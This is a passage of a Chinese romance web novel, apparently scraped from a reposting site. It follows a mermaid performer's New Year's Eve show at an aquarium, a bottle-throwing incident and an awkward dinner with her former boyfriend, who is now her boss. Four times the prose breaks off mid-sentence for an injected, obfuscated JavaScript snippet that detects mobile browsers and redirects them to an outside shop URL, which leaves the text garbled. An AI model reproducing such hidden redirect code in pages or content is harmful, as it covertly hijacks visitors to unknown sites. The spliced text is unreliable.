四周只有水面涟漪撞在池砖上的声音。 听着安静的窸窣声,景音莫名心神恍惚。她缓过神来,有些手忙脚乱地上了岸,偏偏不去看裴涟:“我先下班回家了。” 脚踩着水渍突然一滑,景音猛地失去重心,接着被一双结实的手臂扶稳。 裴涟的声音从上方淡淡响起: “小心点。” 景音有些僵地站直,好不容易才控制住了面部表情。 她没去看他,勉强挤出微笑:“没事。” 接着头也不回地进了对面的休息室。 打开花洒,景音简单冲淋了一下身体。换好衣服后,她向外瞅了一眼,裴涟已经走了。 她长舒了口气,回到化妆间吹干头发。镜子里的人儿不自觉弯了嘴角,笑容浅浅。 - 今年的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572829|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后一天如白驹过隙,过得飞快。下班后,景音吃过晚饭,重新化了遍妆,就带着表演装备去了市民广场。 现在不过八点出头,广场只有一些散步健身的市民。 景音一眼看见广场正中搭起个亚克力大缸,旁边停了两辆厢货车,围了好些人。 她走上前去。这巨型鱼缸有一个客厅那么大,高度和成年男子差不多。 裴涟站在旁边的人群中,一个饲养部的老师傅在跟他说着什么,裴涟耐心听着,偶尔交谈两句。 像是察觉到景音的目光一般,他向这边看了一眼,又很快转走了视线。 景音也没打算找他,自己寻了个空地,放下箱子坐下了。 海洋馆的同事正往池里放水,缸内的造景已经建设完毕。一捆线从缸内延伸出来,景音猜,应是数根加热棒和打氧机,被埋在了底砂下面。 这阵势实在浩大,景音不免内心激动。 “音姐,你来了。”旁边走来一个同事。 景音认得他。他就是是上次在ktv,光荣宣布自己是处男的那个男生。 景音点点头:“嗯。” “还没自我介绍过,我叫贺凡晖,你跟他们一样叫我阿晖就行。”男生质朴地笑了笑。 “你好。”景音礼貌回应。 贺凡晖有点羞赧地挠了挠头:“哎呀,音姐,你太漂亮了,我都有点不好意思找你说事了。” “你有事找我?”景音抓住重点。 “对呀,想跟你打听一下。”贺凡晖顺势坐在她旁边,侧过身子,“你知道我们部门那个邓哥吧,今天他没来上班,还在我们小群里说老板把他裁了,真的假的?” 景音微皱了眉。这邓昌安真是离职了也不安生。 “你为什么来问我?”景音有些疑惑。 “呃,我们部门的都说,你……呃,和裴总关系比较好。”贺凡晖吞吞吐吐,“是不是,裴总打算裁一批人啊,听说保安大爷也走了几个,咱们馆未来是不是要拆了盖商品房啊?” 景音颇为无语。 职场八卦的传播速度果然够快,只是她没想到,怎么谢薇嘴里的“盖商场”还被传成了“盖商品房”。 “没这回事。”景音耐心解释,“裴总很重视海洋馆,未来可能会有一些变革,但都是为了让馆里游客更多。游客多了,咱们工资才能更高嘛。” 贺凡晖做思考状。 景音于是又说了下去:“邓昌安是自己主动离职,和裴总没什么关系。而且裴总不是还给咱们换了新的保安队吗,如果要改建,还请保安队干什么,还搞今天晚上的活动做什么?” 贺凡晖这才啧啧嘴:“我觉得也是。那保安大哥老带劲了,开着巡逻小车飕飕的,还叫我一起兜风呢。” 见他还是能说通的,景音松了口气。 贺凡晖傻乐了声,转头夸她:“音姐,你果然和裴总关系不一般哈!以后这种内部消息,还是得找你打听打听才算保真。” “……” 怎么感觉另一种误会加深了。 “好了姐,我也去忙了。”贺凡晖站起了身。 “嗯,去吧。” “等一下。”他像又想起什么,“音姐,有件事,也不知道该不该告诉你,就是……” “怎么了?”景音有几分好奇。 贺凡晖叹了口气,下定了决心。 “就是那个路图啊,我们不是都住员工公寓嘛,我俩是舍友。我看他最近心情不太好,你最好还是——” “他最近心情不好吗?”景音倒没怎么察觉,“你是不是想说,让我平时多照顾照顾他。” “不是不是。”贺凡晖忙摆摆手,“音姐,你最好离他远点。” 11. 直播 这回答有点出乎景音的预料。 “他怎么了吗?”景音疑惑不解。 贺凡晖又挠挠脑袋,十分纠结的样子:“就是感觉他不太正常,光在他屋子里摆弄什么洋娃娃,挺瘆人的……姐,你自己知道就行,千万别说是我说的啊。” “哦……好。” 贺凡晖勉强笑了笑,转身走了。 看着他的背影,景音陷入了深思。 谢薇以前跟她说过,海洋馆一两年前对一个职专进行过校内招聘。现在馆里的年轻员工,大多就是那时候来的,其中也包括路图。 路图以前和邓昌安是同事,两人同为白鲸馆的训练员。直到景音来了,邓昌安才主动调了岗,路图便留在剧场做了潜水员。 但是不同于邓昌安,路图对她的态度很友善,俩人也从没发生过什么矛盾。 甚至更多的时候,是路图以前辈的身份照顾她这个新人。 贺凡晖说路图喜欢洋娃娃…… 听起来是有些另类,但还是,尊重别人喜好吧。 想到路图平时软绵绵任她差遣的模样,景音下意识觉得,路图可能因为这个个人爱好,受到舍友的排挤了。 不远处,饲养部那边正把鱼分批装袋放进水池,好让鱼提前适应水温。贺凡晖也在其中,开朗又纯善的样子,干活也很卖力。 景音撑着下巴,有点心不在焉。 “喂。” 一道男声打断她的愣神。 景音抬头,看见裴涟不知什么时候站到了她的身后。 他本就生的清冷绝尘的一张脸,此刻又面无表情,自上而下睨着她,让景音还真有了几分面对老板的紧张感。 她站了起来:“裴总。” 裴涟皱了皱眉。 “十一点的时候,人应该就多起来了。”他交待着,“你能在里面待多久,一个小时会不会时间太长?” “不会啊。”景音耸耸肩,“不就和游泳一样,一个小时有什么。” “好。你准备的怎么样?” 景音颇为得意地从大衣口袋掏出一颗珍珠色泽的珠子,约一个桂圆大小。 “鲛人的珍珠。”她抬眸看着裴涟,“这个鱼缸的空间不够我后空翻什么的,但是表演些小品没问题。” 裴涟看着她手里的珠子,想起第一天来海洋馆排队互动时,景音曾从嘴里吐出过这样一颗珍珠,把一个小女孩高兴得直拍手。 “没什么风险吧。”他带了丝关切。 “没事,放心。”景音把珠子塞回了口袋里,“那,我十一点下水?” “嗯。” 景音看了眼表,现在才九点半。 鱼缸那边,饲养部还在等鱼适应水温。距离她上场,还有很长一段时间。 不远处,几个路人正拿着手机拍巨型鱼缸,表情难掩好奇与兴奋。 景音突然灵光一现。 “喂,裴涟。”她凑得近了些,“我们要不要开个直播?” 裴涟神色一愣:“直播什么?” “直播造鱼缸啊。开同城定位,给等下的跨年表演引流,吸引更多人来打卡拍照。” 裴涟沉思了片刻,慢慢点头:“嗯,还真的可以。不过,海洋馆没有官方账号。” “这算什么问题。”景音掏出自己的手机,“先用我的呗,正好我也带充电宝了。反正只是引流,以后要是海洋馆有需要,再建一个官方账号。” 裴涟眼见着景音给手机插上了充电宝,然后在屏幕上一通乱点。最后,她竖起自己带来的箱子,把手机安置在一个稳当的位置,摄像头正冲着不远处的巨型鱼缸。 “好啦。”她宣布。 裴涟:“这就好了?” “是呀。打开你的社交媒体,切换到同城,试试看能刷到我不。” 裴涟试着找了一下,连续刷过好几个直播,还真的在手机里刷到了景音的账号。 景音正躬身看着手机屏幕:“呀,涨了一个粉丝。” “是我。”裴涟轻笑。 景音很快听见自己的声音从他的手机里传出:“呀,涨了一个粉丝。” 她挠了挠脸颊,有点害羞。 裴涟觉着好玩,点开礼物列表,又给她送了几个礼物。 “……你这是干嘛。”景音微嗔,“我就在你旁边,请直接转账。” 裴涟懒懒看着手机:“不是说,刷礼物能增加曝光?” “哦,好像是呢。” 景音任他玩,没过多久,直播间的人数还真的涨了一些。 “‘这是在干什么呢。’”景音读着弹幕,“你好,我们在市民广场,今晚的跨年烟花秀有珍珠岛海洋馆的活动,感兴趣的话来看看哦。” 裴涟在一边,默默看着她自然地和观众互动。 她好像,真的和以前不太一样了。 很快有观众留在了直播间,景音也和弹幕聊了起来。裴涟拍了拍她的肩:“我先去忙了?” “嗯,好。”景音侧过头冲他挥手。 裴涟走回鱼缸边,告诉员工们开了直播,没想到这帮人还都挺高兴。 “我们也上直播了?”帮忙搬货的司机大哥笑得灿烂,“你们几个,得注意言行举止啊,别把直播间搞封喽,哈哈。” 贺凡晖很快从手机上找到了直播间,跟着司机一起乐:“感谢裴总送来的火箭,裴总666。哟,这是我音姐的账号啊?看我打字夸她几句:音姐牛逼。” 裴涟失笑,看了不远处的景音一眼。景音扶着额头,应是看到了贺凡晖发的弹幕,表情一言难尽。 他软下眼神,轻声笑了。 时间慢慢到了10点45分。 景音抬起头,泳池那边已经建设完毕,鱼儿们也都放进了水中。 饲养部的人基本都清闲下来。景音叫来贺凡晖,让他又借了只新的充电宝,然后把手机塞给他,自己则拎起箱子准备去换衣服。 市民广场的公厕还算比较宽敞干净,她打算去公厕更衣。 刚转过身,又看见了裴涟。 裴涟似乎是特意来找她的。 “你去哪?”他问。 景音指指远处的公厕:“换衣服。” 裴涟凝视着她,眼底的情绪意味不明。下一瞬,抢过了她手中的箱子,撂下一句:“去我车里换。” “……” 在哪换不都一样。 景音也十分顺从,一副老板的话我都听的样子,跟着裴涟走到了绿化带另一边的停车场。 这里比较安静,视角正好能看见广场中心,说近不近,说远不远。和公厕比,距 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572830|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离也差不多。 景音跟着裴涟找到他的车。车身修长,是辆暗银色的轿跑,低调又不凡。 她心底默默吐槽,果然和主人一样闷骚。 裴涟替她开了车门,然后把箱子递给她,接着关上车门转过身去。 过了会儿,景音打开车门,木乃伊似的蹦下了车。 裴涟看着仍裹着长长羽绒服的她:“换好了?” “嗯。” 景音微微拉开外套,双腿的鱼尾被她折到了小腿以上,露出半截潜水裤,堪堪能走路。 “脚蹼到那边再穿,不然太难受了。”她撩了下散开的长发,“好了,走吧。” “等下。” 裴涟打开后备箱,也拎出一只箱子。 “这是什么?”景音问。 “保温箱,里面是几条蒸过的厚浴巾。”裴涟神色淡淡:“我试过了,保温效果很好,几个小时了还是很热。等你出水,就用这个把你包起来。” 景音想象了一下那样的场景,觉得怪可爱的。 “谢了,裴总。”她笑笑。 裴涟也以极浅的笑容回应她。 两人一起回到鱼缸边。 景音穿好脚蹼,脱下长羽绒服,露出了里面的表演服。 这已经是她选的最厚实的一件上衣,衣袖有许多鱼鳍样的飘带,小腹也捂得严严实实,只露出了一小片光洁的后背。 鱼缸边早已给她准备了临时上去的台阶,景音在几个员工的搀扶下,慢慢蹦上台阶,然后在最高处坐下。 广场这时的人已经多了起来,不知道有没有直播的功劳,有不少的人正围着鱼缸拍照。 看见鱼缸上方突然出现一个奇异女子,不少人都指指点点。 “老天奶,我是出现幻觉了么?那是什么?” “好美啊,她怎么这么美!” “看我遇到什么了?在市民广场这儿呢!姐姐看这里,打个招呼吧!” 很多人正举起手机拍着她。景音第一次如此清晰地看见她的观众,心跳速度不免快了许多,紧张感也涌上了心头。 她深吸了一口气,鱼尾一甩,钻进了水面。 “哇——” 众人惊呼出声。 回到水中,景音像是进入了舒适区。她翻涌着身体游动,波浪一样的黑发带起一层层浅浪。 本就和她熟稔的鱼儿顿时围了上来,依附着她一起游行,仿佛她身边真的有魔法。 景音围着鱼缸边绕了一周,心情逐渐平复,然后很快地,被兴奋代替。 她喜欢这样展示自己。 她喜欢当美人鱼。 此时此刻,她仿佛真的变成了海的女儿,所有烦恼与不快全都记不起,哪怕脸笑得再僵硬,也是发自内心的真实笑颜。 不远处,贺凡晖仍举着景音的手机拍摄着:“我们今天的重头戏,美人鱼小姐姐入场啦!哇,实在是太好看啦,想来合影留念的朋友快来市民广场,一起跨年哦!” 景音浮上水面,露出一个脑袋。 “刚才不是有朋友问她怎么呼吸吗?看,现在小姐姐就在换气呢。”贺凡晖声音带笑。 画面里,景音在水面一沉一浮。 刚准备再次下潜时,不知从何方飞来一只饮料瓶,精准地砸在她的头顶。 12. 你真狗 围观的群众皆都被这突如其来的事故吓一跳。 有市民反应过来,抱怨地喊了声:“谁这么没有素质?” “就是啊,谁扔的瓶子,都砸到人了!” “不知道有没有摄像头,能不能抓到是谁。” “她没事吧?” 裴涟拨开周围举着手机拍摄的人群,快步到了景音身边,仰头看向她:“有没有受伤?” 景音没有回答,一手扶着缸边,另一只手摁着胸口,干呕了两下,像是要吐了。 裴涟瞬间反应过来。 她嘴里,含着那颗假珍珠! “景音?”裴涟着急拍了两下鱼缸,“坚持一下,这就救你出来!” 他刚要去叫人,景音扒在池边的手突然挽留似的捏住他的手指。 裴涟紧皱的眉头有点愣怔。 下一刻,她向前猛地一咳,吐出一颗圆润无瑕的大珍珠。 景音单手接住了珍珠,盯着它发愣。 看见她安然无恙,裴涟紧绷的神经骤然松懈下来。 他哑着嗓子,冲她轻声喊着:“你出来吧,我们不演了。” 但他的声音淹没在了另一旁人群的叫喊声里。 两人同时望过去,见一个青壮男子抓着个熟悉的人影,那人挣扎着想逃走,路灯映照出他黑色帽檐下一张面相刻薄的脸。 看见邓昌安,景音心里竟丝毫不觉得意外。 有个小女孩冲上前去拍打他:“就是你扔的!让你往海里丢垃圾,让你打鱼!坏人!” 小女孩的妈妈匆忙把她领走。邓昌安挣开了旁边人的控制,十分嫌恶地喊了句:“谁说是我扔的?你们有证据吗?” “我有。” 旁边站出一个个子矮矮的女生,瑟缩却很勇敢的模样:“我就在你后面拿手机录像,全都拍下来了。” “我也看见了,直播间的人都看见了!” 贺凡晖拨开人群,冲到前面来:“大家都说,是一个戴黑帽子的人扔的!” 看见面前的人竟是邓昌安,贺凡晖明显一愣。 邓昌安见无法狡辩,转而又理直气壮起来:“怎么了,我想扔进那边的垃圾桶,谁知道怎么扔那么高,砸到了她头上?我又不是故意的。” “那瓶饮料还在鱼缸里沉着呢,满满一瓶,你扔掉干嘛?”有人指责他。 “我买完不想喝了,不行啊?” 裴涟眉宇间一片阴鸷,刚想上前,被景音拍了拍手背。 见到转过头来,景音想起高三毕业那年那晚在游轮上,裴涟也是同样的神情。 她心下莫名一紧。 “算了。”她摇了摇头。 裴涟语气不善:“不能算了。” “那你打算怎么做,和他理论,还是报警?”景音低声向他靠近,“裴涟,看看周围。你今天的目的是什么?” 裴涟向四周望了一眼,除了离得近的这一小帮人群,鱼缸另一边,有些市民默默地走开了。 “你今天是为了来宣传海洋馆,而他们是为了来跨年。”景音尽量缓和语气,“他们高高兴兴来到这里,却看见一帮人在掐架。不论谁对谁错,观感都不好,这个道理你应该能想明白。” 听到她这番话,裴涟似乎冷静了不少,只是眼神仍带着偏执。 “我听你的。” 景音刚要松口气,又听他说:“但至少我要给你一个交代。” 景音也不知自己是否真的放了心,看着裴涟一步步走到邓昌安身边。 他不知说了什么,周围的热心市民慢慢散开了。景音以为邓昌安会趁机离开,没想到,却偏偏只有他没走,留在原地不动弹。 裴涟跟他对峙着。邓昌安脸色极差,脑袋也偏向了一边,但确实是在老老实实听裴涟讲话。 景音顾不上继续看下去,因为又有新的市民走到这边看鱼。 她潜进水中,继续展露出微笑,和亚克力板外模糊不清的影子互动。 再上浮换气时,裴涟正带着邓昌安站在鱼缸边看着她。看见景音,裴涟冲她招了招手。 景音挑了眉尾,游过去悬浮了会儿。 邓昌安面冲着她,但视线却看向别的地方。景音听见他极不情愿地说了声:“对不起。” 景音有些惊讶。 “行了吧。”邓昌安背过身子,“我还有事。” 他佝着身子走了,裴涟没有强留。 景音看向裴涟,裴涟面色已经缓和不少,冲她点了点头。 这已经是这件事最好的处理结果。景音讶于裴涟是怎么做到的,眼下却并不适合聊天。她深吸口气,继续潜回水中工作。 不知过了多久,景音发现周围的人越来越少,大家逐渐聚集到了江边。 看来,是烟花秀就要开始了。 等最后几个市民离开,她也缓缓攀到了鱼缸边沿,等着看烟花。 视线下方,走来一个人。 裴涟递给她一条毛巾:“把脑袋包一包,别着凉了。” 景音感于他的体贴,接过了毛巾。手中的柔软的温度甚至有些烫手,她忙盖在自己脑袋上,顿感解乏。 “辛苦了。”裴涟看着她。 在鱼缸灯带的打光下,他清冷的五官变得温柔澄澈。景音低头看向他,心间也如同捂上了热毛巾,变得无比放松。 “你今晚也辛苦了,裴总。”她故作礼貌地回敬。 裴涟轻哼一笑。 经过刚才的事,景音觉得和他相处放松了不少。 “你刚才跟邓昌安说了什么,他居然能跟我道歉?”景音好奇,“说真的,我都被吓到了。” 裴涟散漫了眉眼:“我告诉他,如果他不向你道歉,我就起诉他寻衅滋事。” “就这么简单?” “他刚想反驳,我就说,我请的律师团队,绝对能打败他从名不见经传的小作坊里找的律师。” “……” 裴涟转身去,半倚在鱼缸上,神色低沉:“对付这种欺软怕硬的人,让他认识到你们之间的差距,就不会再找事了。这是最便捷的办法。” 景音不得不承认,他说的有几分道理。 江边的群众突然开始了倒计时。 “十,九,八——” “要开始了。”景音难掩激动。 裴涟也抬起头,看向天边。 “——五,四,三,二,一!” 满天的缤纷银树炸了开来。噼噼砰砰的声音响彻整个夜空,星点都被遮盖住了光辉,又大又满的一轮轮烟花交相辉映。 “新年快乐!”人群在欢呼。 景音受到感染,伏下脑袋说了声:“新年快乐。” 咦,人呢? 她回过头,看见裴涟站在几步开外,正举起手机对着她。 景音忙摘下头顶的毛巾,冲他的镜头灿烂一笑。 「咔嚓」 - 烟花秀结束后,市民便零零散散地散去,只有零星的人来合影。 待景音回到家中,时间已经接近一点半。 裴涟给今晚到场的员工都批了早假,允许他们明天下午再去上班。 但是景音例外,因为明天是节假日第一天,她上午还有表演。 虽然裴涟一再跟她强调可以迟到,但景音还是准备早睡。 等她终于躺在床上,才长舒了口气,觉得身体如此疲惫。 拿起手机,她发现裴涟在十几分钟前发来了消息。 是张照片。 照片里的女孩笑容无拘无束,背景是漫天盛开的巨大烟花。 景音一下回想起,跨年时待裴涟拍完照回来后,她开玩笑问他怎么偷拍她。 本以为裴涟会说“我在拍烟花,没拍你”之类的。 结果,他诚实地来了句:“因为你好看。” 景音觉得面上又有点烧。为了转移注意力,她打开社交软件,胡乱刷着视频。 刷着刷着,竟然刷到她自己。 准确来说,是有人拍的她自己。 视频是一个本地新闻自媒体发的,视频内容,是她被水瓶砸中后,被珠子噎住的画面。 景音看着视频中的自己干呕了两下,然后吐出一颗珍珠。 她刚要划走,才注意到视频的点赞数已经上千了。 评论里尽是惊叹: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572831|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 「这就是真美人鱼吧,还会爆珍珠。」 「五分钟内,我要知道这个女人所有的信息!」 「谁能说一下前因后果,这是在干什么呢?」 景音挑了挑眉,有些惊讶。 没想到这个意外还能引起关注。 底下有条评论被赞了上来:「这是我们市的海洋馆搞活动,我当时就在那,这个美人鱼姐姐被人用水瓶砸了。」 下方跟着数条回复。 景音正欲点开,屏幕顶端弹出一条新消息。她打开社交软件,看见是裴涟发来的。 L:「明晚有空吗,一起吃晚餐吧。」 景音盯着这行字发愣。 直至屏幕自动熄灭,她才重新点亮手机回复:「不用了。」 她下意识的退缩。 先不说裴涟的用意是什么,如果她没记错的话,裴涟现在应该是有女朋友的。 就算没有,她也不想和裴涟有什么过界的接触。 保持现在的上下级关系,已经足够了。 - 假期的第一天,海洋馆人很多。 不知道有没有昨晚宣传的功劳,景音觉得今天排队互动的人特别多。 忙完一天后,临下班,她收到条短信。 方小芸的新消息顶在那未读的十几条语音下:「我到季城了,出来,请你吃饭。」 景音先是带着几分忏悔之意,上划着屏幕,删掉了自己几天前发出的“睡裴涟”那条消息,然后才回复她:「没空。」 方小芸本来就是季城人,看她朋友圈好像一直在隔壁市工作,过年过节会回家。 景音揣度了好久,也没想明白方小芸为什么突然约她吃饭,但结合前几天的短信,她总觉得和裴涟有关系。 然而景音还是太低估了方小芸的毅力。 下班后,海洋馆门口的路边停着辆白色大G,一个短发美女毫无必要地戴着副墨镜,倚在车旁。 景音和饲养部那几个年轻人一起出的大门。看见方小芸,有人对她吹了声口哨。 方小芸的大半张脸被墨镜挡着,景音看不出她是什么表情,只听见她冲那帮人说了句:“滚。” 景音赶紧上去拉她,然后冲那几个男人摆手:“这我朋友。” “你拉我干嘛呀。”方小芸轻甩开她的钳制,“一帮臭流氓,景音你就在这种地方工作?” “嗯。” 景音聪明地选择了不跟她顶嘴,把她塞进了驾驶位。 方小芸摘下墨镜看她。 “上车,带你涨见识去。” “不想去。” “你不去,我今天停这里不走了。” 景音无奈上了车。 方小芸的车里香香的,估计是没熄火的原因,不知道哪里有点杂音。车子开出去,景音才问她:“你到底来找我干嘛?” 方小芸:“我家新开了个玩的地方,很快在季城就要打出名声了。趁现在还没火,带你去尝尝。” 明明这么多年没见,方小芸也不尴尬,吹牛逼的话信口就来。 景音是真的有点被她逗笑了。 “这不挺好的吗,多笑笑,少一脸苦瓜样。”方小芸打着方向盘,“那什么,我听说裴涟把你单位买下来了,真的假的。” 果然,还和以前一样,没说三句话,方小芸就直奔主题。 景音也直截了当:“嗯,真的。” 方小芸“喔”了一声,表情有点震惊:“这么说,你真的把裴涟给睡了?!” “……” 景音还没来得及尴尬,车里那阵杂音突然增强。片刻过去,有个男声猛咳了起来,景音疑惑之余,才反应过来方小芸正用车跟别人打着蓝牙电话。 “卧槽,真的假的,涟哥你被那美女给睡了?!”男人的声音渐行渐远,但仍清晰可闻,“你才回来多久啊?你真狗啊!” 景音:“……” 喇叭里,隐约传来了裴涟的声音:“她是那么说的吗。” “对啊!” “那她有点太心急了。”裴涟声音又缓又懒,“我们还没到那一步。上星期,她才亲我第二次。” 13. 手滑 “你tm在和谁打电话?”景音压低声音呲牙咧嘴,“快给我挂了!” “行吧行吧。”方小芸手指停在方向盘上,“那我挂了哦老公,景音害羞了。” 景音:“……” “哦好的好的,哈哈哈。哎涟哥你那什么眼神啊?行了宝宝我等你哦,还有多久啊?” “估计二十分钟吧,他们这地方离市中心也太远了,过节又堵车。不说了,待会儿她又不愿意了。” “好,么么么,拜拜。” 景音目视前方,思索着现在从车上跳下去,究竟会受多重的伤。 不过,再重也不会有现在重了。 “这谁?”她不愿多说一个字。 “我男朋友啊,不是跟你说过了吗?”方小芸似乎没受任何影响,“待会儿介绍你认识。” 景音的思路有点打结。 前几天,方小芸不是还在因为裴涟回国跟她阴阳怪气吗。 怎么,原来她有男朋友,听起来还和裴涟很熟的样子。 这拿的是什么剧本? 景音偷偷打开手机,找到上周和方小芸的聊天记录,把她发的那十几条语音一一转文字: 「我靠,真的假的,你们睡了?」 「怎么不回我,你们在干嘛。」 「哦,呵呵呵,我是不是打扰你们了。」 「本来还想说,让我表哥拉个局,这关系不就重新连上了吗。」 「你是不是在那个什么岛海洋馆上班呢,我表哥今天要带裴涟去看看,正好让他带你上班。」 「我以前就跟你说过,上天入地找不着第二个对你这么好的了,你还跟我吵架。不过现在也行,一睡泯恩仇。」 「不是,我说景音你真猛啊,你真把裴涟给睡了?牛逼!我和我男朋友还没到那一步呢!」 …… 景音忽觉自己很蠢。 如果她能早几天点开方小芸的语音,也许会…… 好像也不会怎么样。 但是她心里还是有点疑问:“你…交男朋友了?你不是喜欢裴涟吗。” 景音感觉方小芸差点踩到刹车。 “你说啥?我喜欢裴涟?”她夸张地放大声音,“裴涟完全不是我的菜,好吗?” “……可是,大一那会儿,你不是跟我吵架,说他很好么。” 与其说是吵架,不如说是方小芸单方面对她发脾气。 她还记得方小芸的说辞,与短信里无二:“这么好的男生”、“你是不是脑子进水”、“再也找不到第二个了”诸如此类。 “……哦。”方小芸淡定了许多,“我那是站在你的角度来说。他就是很适合你啊,我只是生气你把他给甩了,还让他那么丢脸,怕他不喜欢你了。你那破性子,想找第二个舔狗,怕是很难了。” ??? 景音一时语塞,重新把这件事梳理了一番。 大抵是当时自己真的共情不到别人的情绪,再加上方小芸的嘴跟淬了毒似的,景音只觉得:你这么喜欢他,你去跟他在一起呗。 现在想想,方小芸好像从来没有表现出过对裴涟有什么男女之情。 那么一直以来,自己岂不是都在误会她。 景音徒生了一股愧疚心意。方小芸这人虽然嘴巴锋利了点、脾气烂了点、性子傲慢了点……但是对她很好。 虽然当时自己不懂人情,可她心里产生过的烦闷,是真实存在的。 听着方小芸车里的欧美流行乐,景音看向了窗外。 现在她能想明白这些,是不是也说明,自己的情商好像是有点进步? “我可是听见了啊,裴涟说你亲他了。”方小芸的声音又响起来,“怎么回事?亲都亲了为什么没睡?怎么办事的。” 景音的内疚瞬间被打乱。 “谁说亲了就必须要睡?”她又觉不对,忙纠正,“不是,我没亲他,他自作多情。” “是吗?”方小芸犹疑地瞥了她一眼,又专心看起路,“这种事还能自作多情?裴涟不像这么能编的人呀,你就承认吧,有什么不好意思的。” 景音:“……” 这天是聊不下去了。 她索性倒下装睡。还没眯一会儿,又想起一个很重要的事情:“不是,你要带我去的地方,裴涟也在。” “对啊。”方小芸点点头。 “……你们是怎么凑成一个饭局的。” “我男朋友叫的啊,他和裴涟是好哥们,高中同学。” “我不去。”景音突然逆反,“你换一家,我跟你吃。” “咋了,害羞?别跟我整这一套啊,矫情的要死。” 这两个字犹如重雷,砸在景音头顶。 她……矫情? 其实非要分个对错的话,几年前是她伤害了裴涟。但人家见到自己时也挺大方的。 反倒是她,像躲瘟神一样躲着裴涟。 好像是有点,矫情。 况且现在,裴涟还是她的老板。 一起吃个饭,也不算多么过分。 古怪的心绪缠绕在景音心间,她说服自己半推半就地接受。 只是吃个饭而已。 下了高架,方小芸的车直奔市中心最繁华的地界,停在一家名叫“满月”的会馆门口。 景音下车,抬头看向这里古典精致的门头,至少从奢靡程度来说,是有几分方小芸说的“出名”的潜质。 两人一起进了门,前台经理看到方小芸,立刻迎了上来:“您来了。” “嗯。”方小芸气派很足,“认一下,这我好朋友,以后来了别收她钱,啊。” 经理认真看了眼景音,面带笑意:“您朋友这么漂亮,过目不忘。” “行了。带我们进去。” 她们坐电梯上了二楼。景音跟方小芸开起玩笑:“你要真不收我钱,我以后天天来这蹭吃蹭喝。” “来呗,你多大点饭量,还能给这吃穷?”方小芸白了她一眼,“你我还是养得起的。” 景音轻笑了笑。 很快,经理推开一间包厢的门,景音就没时间感动了。 门口的沙发上闲散地坐着一男一女,茶几上有几杯洋酒,已经开封。 房间靠里些的位置,有张台球桌,两个男人正在打台球。 裴涟便是其中之一。他正伏在台球桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13572832|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,单手拿杆瞄球,高挺的背弓成一个弧线。听见开门声,他的视线缓缓寻过来,看清来人后又转回头,继续了手中的动作。 ——推杆,球没进洞。 沙发上站起一个男人,向方小芸打开怀抱:“宝宝,你终于来了。” 方小芸把包丢进他怀里:“堵死了。” 景音的视线从台球桌那边移回来。男人接住包,一脸宠溺地把包挂在门口的架子上。方小芸拍拍手,提高了声音:“介绍一下啊,这位就是景音,我大学同学。” 沙发上还有一名年轻女性,景音便冲她摆了摆手:“嗨。” “你好。”方小芸的男朋友从旁边探出头,“初次见面,我叫胡新成。” “人家跟我打招呼呢。”沙发上的女人拍开胡新成,笑意盈盈看着景音,“我是小芸的嫂子张桐,你跟他们一样叫我桐姐吧。” 张桐打扮得知性,银框眼镜敛去了温柔,显得有些凌厉。 “桐姐好。”景音微笑点头。 “你俩还不过来,干嘛呢。”张桐冲身后喊。 景音这才注意到,和裴涟打台球的是她见过一面的王嘉。 王嘉半匐在桌台上,嘴里念着:“这小子好不容易失误一杆,我不得打回来啊。” 然后他也没打进袋。 王嘉气得对空气使出波动拳,裴涟冷笑了声,收起杆,放在一边的架子上。 “人家小裴都不稀罕和你玩。”张桐把王嘉逮到餐桌上,“来,都来坐。给我们上菜吧。” 后半句是对带她们进来的经理说的。 经理应了一声退出去,帮他们带上了门。 餐桌是张古典的大圆桌,张桐拉着王嘉坐在一起,方小芸和胡新成坐在另一边。还剩两个空位,像是特意给景音和裴涟准备的一样。 景音先看了眼裴涟。他没什么停顿,拉开座椅坐下了。 景音只好坐在他旁边。 王嘉先开了话匣,坐下后就开始冲着裴涟的方向絮叨:“光顾着打球,还没问你,那海洋馆拾掇的怎么样了?” 